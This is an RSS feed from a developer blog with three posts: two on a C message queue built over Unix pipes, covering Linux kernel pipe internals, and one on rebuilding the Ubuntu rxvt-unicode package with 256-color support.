<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-3172846251286257570</atom:id><lastBuildDate>Thu, 19 Jan 2012 12:21:50 +0000</lastBuildDate><title>stupefy developer</title><description>blog about software development, *nix and anything that is related to that</description><link>http://stupefydeveloper.blogspot.com/</link><managingEditor>noreply@blogger.com (Ni@m)</managingEditor><generator>Blogger</generator><openSearch:totalResults>111</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/StupefyDeveloper" /><feedburner:info uri="stupefydeveloper" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by-sa/3.0/</creativeCommons:license><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-3851823749473541172</guid><pubDate>Fri, 10 Sep 2010 12:50:00 +0000</pubDate><atom:updated>2010-09-10T15:50:10.727+03:00</atom:updated><title>event handling with message queue on top of pipes: part 2</title><description>The &lt;a href="http://stupefydeveloper.blogspot.com/2010/03/event-handling-with-message-queue-on.html"&gt;previous part&lt;/a&gt; stopped just before going into the details of sending and receiving mechanism.&lt;br /&gt;
It's implied that each sent message should receive an ACK from the handler when it was processed. This piece of information could be embedded in the handler response or sent back as a dedicated message if there's no answer expected. ACK should indicate that the handler finished processing the message. The sender can indicate if the ACK is not needed at all.&lt;br /&gt;
On one hand this kind of information could be used by sender to conclude whether message processing is complete. On other hand it's possible to statistically conclude how much time it takes the handler to process specific message. Though this information is not used in current rough implementation it could be accounted for probabilistic scheduling.&lt;br /&gt;
&lt;br /&gt;
The prototype of routine for sending message is straightforward:&lt;pre&gt;mq_cookie
mq_enqueue_request(struct mq *mq,
                   struct mq_request *req,
                   int broadcast)&lt;/pre&gt;It accepts message queue descriptor as a first argument and message itself as a second. Third argument states whether the message should be delivered to all handlers or just to one. The function return a cookie which could be used by caller to obtain the answer(or ACK) from the handler.&lt;br /&gt;
If the request is not a broadcast &lt;b&gt;mq_enqueue_request&lt;/b&gt; searches for the handler with the shortest message backlog. Also this routine is trying to find a handler writing to whose pipe will not block. However if all pipes are full this would be a blockable operation.&lt;br /&gt;
&lt;br /&gt;
Aforementioned poll thread is used to avoid blocks in handlers on writing the responses(or ACKs) back. The thread is iterating over handlers' pipes gathering the responses and putting them into the list. Each response has its lifetime after which the resources would be freed.&lt;br /&gt;
In kernels prior to 2.6.35 there was no way to configure pipe length however now it possible via &lt;b&gt;F_SETPIPE_SZ&lt;/b&gt; &lt;a href="http://man.bandsal.at/man.cgi?q=fcntl"&gt;fcntl&lt;/a&gt;(the max size for non-root owners is limited by /proc/sys/fs/pipe-max-size). Since this thread is fetching messages from pipes on regular basis there's no need to set big pipe size. Current upper bound of 1MB is big enough to hold thousands of short messages and this could be limited to few KB unless big messages are not required.&lt;br /&gt;
&lt;br /&gt;
Collecting responses into a dedicated list is also needed for obtaining the responses by a caller&lt;br /&gt;
since pipes are not iterative. Once data read from the pipe it's not possible to write it back(to be more precise it's possible but for iterating over the pipe all messages should be read and then written back - the overhead is to big in this case and also requires some synchronization mechanism to guard the write end of the pipe). &lt;b&gt;mq_get_response&lt;/b&gt; is used to fetch the response from the global list:&lt;pre&gt;struct mq_response *
mq_get_response(struct mq *mq,
                mq_cookie cookie)&lt;/pre&gt;Second argument, cookie, is a response identifier returned by &lt;b&gt;mq_enqueue_request&lt;/b&gt;. If the message is not in the list of the already fetched responses this routine will return NULL. At the moment there is no way to say whether the response is still on the way or it was already purged. &lt;br /&gt;
&lt;br /&gt;
Following example illustrates the flow of sending messages and receiving responses:&lt;pre&gt;    int id;
    for (id=0;id&lt;10000;++id) {
        struct mq_list *e, *t;
        struct mq_cookie_list *entry;
        mq_cookie cookie = mq_enqueue_request(&amp;mq,
                                              mq_request(&amp;req,
                                                         MQ_EVENT_REQUEST,
                                                         ((unsigned long long)pid &lt;&lt; 32) | id,
                                                         timems(),
                                                         "",
                                                         0),
                                              0);

        mq_list_for_each_safe(&amp;cookies.list, e, t) {
            entry = container_of(e, struct mq_cookie_list, list);

            if ((rsp = mq_get_response(&amp;mq, entry-&gt;cookie))) {
                /* Do something with the response */
                
                mq_release_response(rsp);
                mq_list_detach(&amp;entry-&gt;list);
                free(entry);
            }
        }

        if ((rsp = mq_get_response(&amp;mq, cookie))) {
            /* Do something with the response */
            
            mq_release_response(rsp);
        } else {
            struct mq_cookie_list *entry = malloc(sizeof(struct mq_cookie_list));
            entry-&gt;cookie = cookie;
            mq_list_add_tail(&amp;cookies.list, &amp;entry-&gt;list);
        }
    }&lt;/pre&gt;&lt;br /&gt;
Basic handler should deal with two kinds of events: &lt;b&gt;MQ_EVENT_EXIT&lt;/b&gt; and &lt;b&gt;MQ_EVENT_REQUEST&lt;/b&gt;. The following function could be a good skeleton for a message handler.&lt;pre&gt;void
handler(int endpoints[2])
{
    struct mq_request req;
    struct mq_response rsp;
    unsigned int served = 0, id = 0;
    unsigned int pid = getpid();

    printf("Event Handler %u\n", pid);

    for (;;) {
        mq_get_request(&amp;req, endpoints);

        ++served;

        if (req.event &amp; MQ_EVENT_EXIT) {
                printf("Event Handler %u: exiting, request %u:%u, served %u\n", pid, (unsigned int)(req.id &gt;&gt; 32), (unsigned int)(req.id &amp; 0xffffffff), served);
                mq_free_request(&amp;req, endpoints);
                return;
        } else if (req.event &amp; MQ_EVENT_REQUEST) {
            if (req.data.len) {
                printf("Event Handler %u: request %u:%u, %s\n", pid, (unsigned int)(req.id &gt;&gt; 32), (unsigned int)(req.id &amp; 0xffffffff), (char *)req.data.data);
            }

            mq_send_response_free_request(&amp;req,
                                          mq_response(&amp;rsp,
                                                      &amp;req,
                                                      ((unsigned long long)pid &lt;&lt; 32) | id++,
                                                      timems(),
                                                      &amp;pid,
                                                      4),
                                          endpoints);
        } else {
            printf("Event Handler %u: unknown event: %d", pid, (int)req.event);
            mq_free_request(&amp;req, endpoints);
        }
    }
}&lt;/pre&gt;
The sources of pipe message queue could be found at &lt;a href="http://github.com/niamster/misc/tree/master/pipe_messagequeue/"&gt;GitHub&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-3851823749473541172?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=xmEPW98pBns:DJkRk-l4qPU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=xmEPW98pBns:DJkRk-l4qPU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xmEPW98pBns:DJkRk-l4qPU:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/xmEPW98pBns" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/xmEPW98pBns/event-handling-with-message-queue-on.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2010/09/event-handling-with-message-queue-on.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-656209140695763701</guid><pubDate>Fri, 04 Jun 2010 07:51:00 +0000</pubDate><atom:updated>2010-06-04T11:07:09.593+03:00</atom:updated><title>urxvt: 256 colors in ubuntu</title><description>Unfortunately Ubuntu has rxvt-unicode package without full 256 colors support.&lt;br /&gt;
&lt;br /&gt;
The easiest way is to rebuild the package manually.&lt;br /&gt;
&lt;br /&gt;
Following steps describe how to do that easily:&lt;br /&gt;
&lt;br /&gt;
Get urxvt sources:&lt;pre&gt;$ apt-get source rxvt-unicode
$ cd rxvt-unicode-9.06&lt;/pre&gt;Apply 256 color patch that could be already found in the package:&lt;pre&gt;$ patch -p1 &lt; doc/urxvt-8.2-256color.patch&lt;/pre&gt;
Edit debian build rules file to reflect the changes from the patch. In debian/rules find definition of cfgcommon and replace
&lt;pre&gt;--with-term=rxvt-unicode&lt;/pre&gt;with &lt;pre&gt;--with-term=rxvt-256color --enable-xterm-colors=256&lt;/pre&gt;Now you should checkout build dependencies and build the package:&lt;pre&gt;$ sudo apt-get build-dep rxvt-unicode
$ dpkg-buildpackage -us -uc&lt;/pre&gt;Once the build process had been finished, install the resulting deb package:&lt;pre&gt;$ sudo dpkg -i rxvt-unicode_9.06-1ubuntu0.09.10.1_i386.deb&lt;/pre&gt;At this point it's possible to delete build dependencies&lt;pre&gt;$ sudo aptitude markauto $(apt-cache showsrc rxvt-unicode | grep Build-Depends: | sed -e 's/Build-Depends:\|,\|([^)]*)//g')&lt;/pre&gt;Don't forget to configure .Xresources to make use of 256 colors in urxvt.

For instance mine looks like:&lt;pre&gt;URxvt.termName:             rxvt-256color
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-656209140695763701?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=wWQFJ0mYF8Y:uvmpvFMPntQ:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=wWQFJ0mYF8Y:uvmpvFMPntQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=wWQFJ0mYF8Y:uvmpvFMPntQ:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/wWQFJ0mYF8Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/wWQFJ0mYF8Y/urxvt-256-colors-in-ubuntu.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>3</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2010/06/urxvt-256-colors-in-ubuntu.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-8333047131278959444</guid><pubDate>Thu, 18 Mar 2010 10:25:00 +0000</pubDate><atom:updated>2010-06-16T23:41:55.381+03:00</atom:updated><title>event handling with message queue on top of pipes: part 1</title><description>Event-driven program flow is common for interactive systems. Events usually come into the system in non-deterministic way. Also it's not always known how much time handling event would take. Moreover events for processing could appear while current one is being processed. Thereby it's better to handle events in parallel to aviod pilling up of pending events.&lt;br /&gt;
Some message interchange mechanism should be used to transmit events between the main dispatcher and handlers.&lt;br /&gt;
Exist different implementation of message queues but here I'd like to invent the wheel and show that there's still place for imagination.&lt;br /&gt;
&lt;br /&gt;
In the message queue implementation pipe is used as a transmission path for messages.&lt;br /&gt;
Pipe is a generic mechanism to exchange data between the processes. It is a unidirectional channel, a bridge, between two instances of the process. One process is able to write data into the write end of the pipe while another one is able to read the written data from the read end. In most cases there is a writer on one side and a reader on the other.&lt;br /&gt;
The concept of [one reader]/[one writer] could be extended to [multiply readers]/[multiply writers] but this will complicate things. If keep things simple it would be necessary to create two separate pipes for message queue for one handler: one for sending requests from dispatcher's side and one for sending responses from handler's side.&lt;br /&gt;
&lt;br /&gt;
Unlike FIFO(a named pipe visible in userspace within the filesystem as a special file), pipe created by a process is visible only by children of the process(and by the process itself of course). This effect is a consequence of how pipe is being represented: a file descriptor for each end.&lt;br /&gt;
Pipe could be created by calling &lt;b&gt;pipe&lt;/b&gt; routine from the C standard library:&lt;pre&gt;int pipe(int pipefd[2]);&lt;/pre&gt;Two file descriptors ensue from calling &lt;b&gt;pipe&lt;/b&gt;: one is referring to the read end of the pipe, the other one is referring to the write end. In the most cases this call directly invokes a system call which has the same name.&lt;br /&gt;
From linux kernel sources it's obvious that the control is immediately passed from &lt;b&gt;sys_pipe&lt;/b&gt; to &lt;b&gt;sys_pipe2&lt;/b&gt; system call:&lt;pre&gt;SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
 int fd[2];
 int error;

 error = do_pipe_flags(fd, flags);
...
}
SYSCALL_DEFINE1(pipe, int __user *, fildes)
{
 return sys_pipe2(fildes, 0);
}&lt;/pre&gt;Currently the flags are out of our interest that is why &lt;b&gt;sys_pipe&lt;/b&gt; is used which uses zero for flags argument in &lt;b&gt;sys_pipe2&lt;/b&gt;.&lt;br /&gt;
For us the most interesting part is hidden in &lt;b&gt;do_pipe_flags&lt;/b&gt; routine. The part we are interested in is highlighted below:&lt;pre&gt;int do_pipe_flags(int *fd, int flags)
{
 struct file *fw, *fr;
...
 fw = create_write_pipe(flags);
...
 fr = create_read_pipe(fw, flags);
...
}&lt;/pre&gt;Before going further I would like to make a small remark on how pipes are managed inside the linux kernel. The kernel manages pipes as files on pseudo filesystem &lt;b&gt;pipefs&lt;/b&gt;. This filesystem could not be mounted from the userspace because it has MS_NOUSER flag but it is visible from kernel under &lt;b&gt;pipe:&lt;/b&gt; 'mountpoint':&lt;pre&gt;static struct vfsmount *pipe_mnt;
...
static int pipefs_get_sb(struct file_system_type *fs_type,
    int flags, const char *dev_name, void *data,
    struct vfsmount *mnt)
{
 return get_sb_pseudo(fs_type, "pipe:", NULL, PIPEFS_MAGIC, mnt);
}

static struct file_system_type pipe_fs_type = {
 .name  = "pipefs",
 .get_sb  = pipefs_get_sb,
 .kill_sb = kill_anon_super,
};

static int __init init_pipe_fs(void)
{
 int err = register_filesystem(&amp;amp;pipe_fs_type);

 if (!err) {
  pipe_mnt = kern_mount(&amp;amp;pipe_fs_type);
  ...
}&lt;/pre&gt;In &lt;b&gt;do_pipe_flags&lt;/b&gt; routine &lt;b&gt;create_write_pipe&lt;/b&gt; allocates inode on pipefs with the help of &lt;b&gt;get_pipe_inode&lt;/b&gt; which in order calls &lt;b&gt;alloc_pipe_info&lt;/b&gt;:&lt;pre&gt;static struct inode * get_pipe_inode(void)
{
 struct inode *inode = new_inode(pipe_mnt-&amp;gt;mnt_sb);
 struct pipe_inode_info *pipe;
...
 pipe = alloc_pipe_info(inode);
...
}&lt;/pre&gt;Besides initializing pipe-specific data &lt;b&gt;alloc_pipe_info&lt;/b&gt; creates a waitqueue which is someway of interest for message queue(as would be shown below):&lt;pre&gt;struct pipe_inode_info * alloc_pipe_info(struct inode *inode)
{
...
  init_waitqueue_head(&amp;amp;pipe-&amp;gt;wait);
...
 return pipe;
}&lt;/pre&gt;Returning back to &lt;b&gt;create_write_pipe&lt;/b&gt; the kernel creates new file with write-only flags and &lt;b&gt;write_pipefifo_fops&lt;/b&gt; file operations:&lt;pre&gt;const struct file_operations write_pipefifo_fops = {
 .llseek  = no_llseek,
 .read  = bad_pipe_r,
 .write  = do_sync_write,
 .aio_write = pipe_write,
...
 .open  = pipe_write_open,
...
};
...
 f = alloc_file(pipe_mnt, dentry, FMODE_WRITE, &amp;amp;write_pipefifo_fops);
...
 f-&amp;gt;f_flags = O_WRONLY | (flags &amp;amp; O_NONBLOCK);&lt;/pre&gt;This is write end of the pipe.&lt;br /&gt;
&lt;b&gt;create_read_pipe&lt;/b&gt; used for creation of read end of the pipe reuses the job done by &lt;b&gt;write_pipefifo_fops&lt;/b&gt;:&lt;pre&gt;struct file *create_read_pipe(struct file *wrf, int flags)
{
 struct file *f = get_empty_filp();
...
 /* Grab pipe from the writer */
 f-&amp;gt;f_path = wrf-&amp;gt;f_path;
 path_get(&amp;wrf-&amp;gt;f_path);
 f-&amp;gt;f_mapping = wrf-&amp;gt;f_path.dentry-&amp;gt;d_inode-&amp;gt;i_mapping;

 f-&amp;gt;f_pos = 0;
 f-&amp;gt;f_flags = O_RDONLY | (flags &amp;amp; O_NONBLOCK);
 f-&amp;gt;f_op = &amp;amp;read_pipefifo_fops;
...
}&lt;/pre&gt;inode mapping is unsurprisingly used from the write end but file operations differ:&lt;pre&gt;const struct file_operations read_pipefifo_fops = {
 .llseek  = no_llseek,
 .read  = do_sync_read,
 .aio_read = pipe_read,
 .write  = bad_pipe_w,
...
 .open  = pipe_read_open,
...
};&lt;/pre&gt;Then with the help of &lt;b&gt;get_unused_fd_flags&lt;/b&gt; file descriptors that would be returned into the userspace upon successful completion of sys_pipe system call are being created.&lt;br /&gt;
&lt;br /&gt;
There's no more need to stay in kernel mode for the moment. Let's return to the userspace implementation of message queue.&lt;br /&gt;
&lt;br /&gt;
The basic structures used to form message requests and responses are divided into header and payload parts:&lt;pre&gt;struct mq_data {
    unsigned long len;
    char *data;
} __attribute__((packed));

struct mq_request {
    unsigned char event; // event type
    unsigned long long id; // request id
    unsigned long time; // issue time
    struct mq_data data; // payload
} __attribute__((packed));

struct mq_response {
    unsigned char event; // event type
    unsigned long long req_id; // request id to which the response belongs
    unsigned long long rsp_id; // response id
    unsigned long time; // issue time
    struct mq_data data; // payload
} __attribute__((packed));&lt;/pre&gt;&lt;b&gt;struct mq_data&lt;/b&gt; represents message payload and generic for request and response. The comments descriptive enough. Worth to mention which event type are predefined in current implementation:&lt;pre&gt;enum mq_event {
    MQ_EVENT_REQUEST            = (1 &amp;lt;&amp;lt; 0), // generic request to the client
    MQ_EVENT_REQUEST_NO_ACK     = (1 &amp;lt;&amp;lt; 1), // request that doesn't require ACK from the client
    MQ_EVENT_RESPONSE           = (1 &amp;lt;&amp;lt; 2), // response from the client
    MQ_EVENT_ACK                = (1 &amp;lt;&amp;lt; 3), // ACK to the request that it was processed
    MQ_EVENT_EXIT               = (1 &amp;lt;&amp;lt; 4), // call to terminate the client
};&lt;/pre&gt;The principle of operation is pretty simple. On initialization stage the core process launches subprocesses that will handle messages, additionally it launches a thread that will receive responses from the handlers:&lt;pre&gt;#define HANDLERS 3
struct mq mq;
struct mq_handler handlers[HANDLERS];
int main(int argc, char **argv)
{
    int i;
....
    mq_init(&amp;amp;mq);
....
    for (i=0;i&amp;lt;HANDLERS;++i)
        if (mq_launch_handler(&amp;amp;mq, &amp;amp;handlers[i], handler) != 0) {
            fprintf(stderr, "Failed to launch handler\n");
            goto out;
        }
....&lt;/pre&gt;The structure &lt;b&gt;struct mq&lt;/b&gt; drawn above defines core message queue. The definition is as follows:&lt;pre&gt;struct mq {
    struct mq_list handlers;  // queue handlers
    struct mq_lock lock;      // management lock

    short state;              // state of the queue

    pthread_t rsp_manager;        // thread handle for managing responses
    struct mq_list rsp_list;  // list of responses
    pthread_mutex_t rsp_lock; // lock for the list of responses
};&lt;/pre&gt;&lt;b&gt;struct mq_list&lt;/b&gt; is a generic doubly-linked list implementation. I will not bother to discuss it here. Locking primitive &lt;b&gt;struct mq_lock&lt;/b&gt; is built upon POSIX mutex in conjunction with simple reference counting.&lt;br /&gt;
The main job of the response handling thread mentioned as above is to fetch packets from pipe, do some preprocessing mostly needed for finer scheduling and put into local queue for later usage.&lt;br /&gt;
&lt;b&gt;struct mq_handler&lt;/b&gt; contains file descriptors for the pipes and few fields for collecting statistic. The definition as follows:&lt;pre&gt;struct mq_handler {
    struct mq_list list;
    struct mq_lock lock;

    int pipein[2]; // 0-&amp;gt; read end for obtaining request, 1-&amp;gt; write end for issueing request
    int pipeout[2]; // 0-&amp;gt; read end for obtaining response, 1-&amp;gt; write end for issueing response
    int process; // handler PID

    unsigned long pushed, // amount of pushed requests
        popped; // amount of popped responses
    unsigned nacked; // not acked packets
};&lt;/pre&gt;&lt;b&gt;mq_init&lt;/b&gt; appeared above is used to initialize message queue structure and launch management thread:&lt;pre&gt;void
mq_init(struct mq *mq)
{
    mq_list_init(&amp;amp;mq-&amp;gt;handlers);
    mq_list_init(&amp;amp;mq-&amp;gt;rsp_list);

    mq_lock_init(&amp;amp;mq-&amp;gt;lock);

    pthread_mutex_init(&amp;amp;mq-&amp;gt;rsp_lock, NULL);

    mq-&amp;gt;state = MQ_STATE_STARTING;

    pthread_create(&amp;amp;mq-&amp;gt;rsp_manager, NULL, mq_poll_wrapper, mq);

    mq-&amp;gt;state = MQ_STATE_RUNNING;
    mq_set_available(&amp;amp;mq-&amp;gt;lock, 1);
}&lt;/pre&gt;This routine initializes miscellaneous stuff and announces that it's ready to go. &lt;b&gt;mq_poll_wrapper&lt;/b&gt; triggers &lt;b&gt;mq_poll&lt;/b&gt; that is used to fetch responses from the pipe and cleans 'old' responses that are likely will not be needed anymore because their timeout exhausted and to avoid memory leak memory they use should be freed:&lt;pre&gt;void *
mq_poll_wrapper(void *data)
{
    struct mq *mq = (struct mq *)data;

    unsigned int last_cleaned = timems(), now;

    for (;;) {
        mq_lock_lock(&amp;amp;mq-&amp;gt;lock);
        if (mq-&amp;gt;state == MQ_STATE_STOPPING) {
            mq_lock_unlock(&amp;amp;mq-&amp;gt;lock);

            return NULL;
        } else if (mq-&amp;gt;state == MQ_STATE_STARTING) {
            mq_lock_unlock(&amp;amp;mq-&amp;gt;lock);

            release_cpu();

            continue;
        }

        mq_lock_unlock(&amp;amp;mq-&amp;gt;lock);

        mq_poll(mq);

        now = timems();
        if (now - last_cleaned &gt; MQ_MAX_RESPONSE_LIFE_TIME_MS) {
            last_cleaned = now;

            mq_cleanup_response_queue(mq, now);
        }
    }

    return NULL;
}&lt;/pre&gt;&lt;b&gt;mq_launch_handler&lt;/b&gt; is a helper routine that creates pipe endpoints for transmitting requests and responses and launch request handling process. Its definition as follows:&lt;pre&gt;int
mq_launch_handler(struct mq *mq,
                  struct mq_handler *handler,
                  void (*f)(int endpoints[2]))
{
    int endpoints[2];

    if (pipe(handler-&amp;gt;pipein) == -1) {
        perror("pipe");

        goto fail_pipein;
    }
    if (pipe(handler-&amp;gt;pipeout) == -1) {
        perror("pipe");

        goto fail_pipeout;
    }

    endpoints[0] = handler-&amp;gt;pipein[0];
    endpoints[1] = handler-&amp;gt;pipeout[1];

    if ((handler-&amp;gt;process = launch_process(f, endpoints)) == -1)
        goto fail_launch;

    mq_lock_init(&amp;amp;handler-&amp;gt;lock);

    handler-&amp;gt;nacked = handler-&amp;gt;popped = handler-&amp;gt;pushed = 0;

    mq_lock_lock(&amp;amp;mq-&amp;gt;lock);
    mq_list_add_tail(&amp;amp;mq-&amp;gt;handlers, &amp;amp;handler-&amp;gt;list);
    mq_lock_unlock(&amp;amp;mq-&amp;gt;lock);

    mq_set_available(&amp;amp;handler-&amp;gt;lock, 1);

    return 0;

  fail_launch:
    close(handler-&amp;gt;pipeout[0]);
    close(handler-&amp;gt;pipeout[1]);
  fail_pipeout:
    close(handler-&amp;gt;pipein[0]);
    close(handler-&amp;gt;pipein[1]);
  fail_pipein:

    return -1;
}&lt;/pre&gt;Now everything is ready for sending requests and receiving responses. Further details will be discussed in the following part.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-8333047131278959444?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=xk91AlSZM68:DMGwx8AYRds:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=xk91AlSZM68:DMGwx8AYRds:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=xk91AlSZM68:DMGwx8AYRds:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
